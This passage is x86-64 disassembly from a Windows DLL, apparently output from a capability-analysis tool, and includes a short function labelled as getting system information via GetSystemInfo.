mov qword [rsi + 0x10], rax
mov rax, qword [rbp - 0x40]
mov qword [rsi], rax
mov rax, qword [rbp - 0x38]
mov qword [rsi + 8], rax
jmp 0x1800188d5
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x10]
mov rdx, rdi
mov r8, rax
call fcn.1800cb0f0
mov rax, qword [rbp]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rsi], xmm0
mov edx, 0x208
mov r8d, 2
mov rcx, rdi
call fcn.180018710
mov rax, rsi
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x208
mov edx, 2
call fcn.1800eb5b0
ud2
Function at 0x18002cc00
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
mov eax, dword [rsp + 0x24]
add rsp, 0x58
ret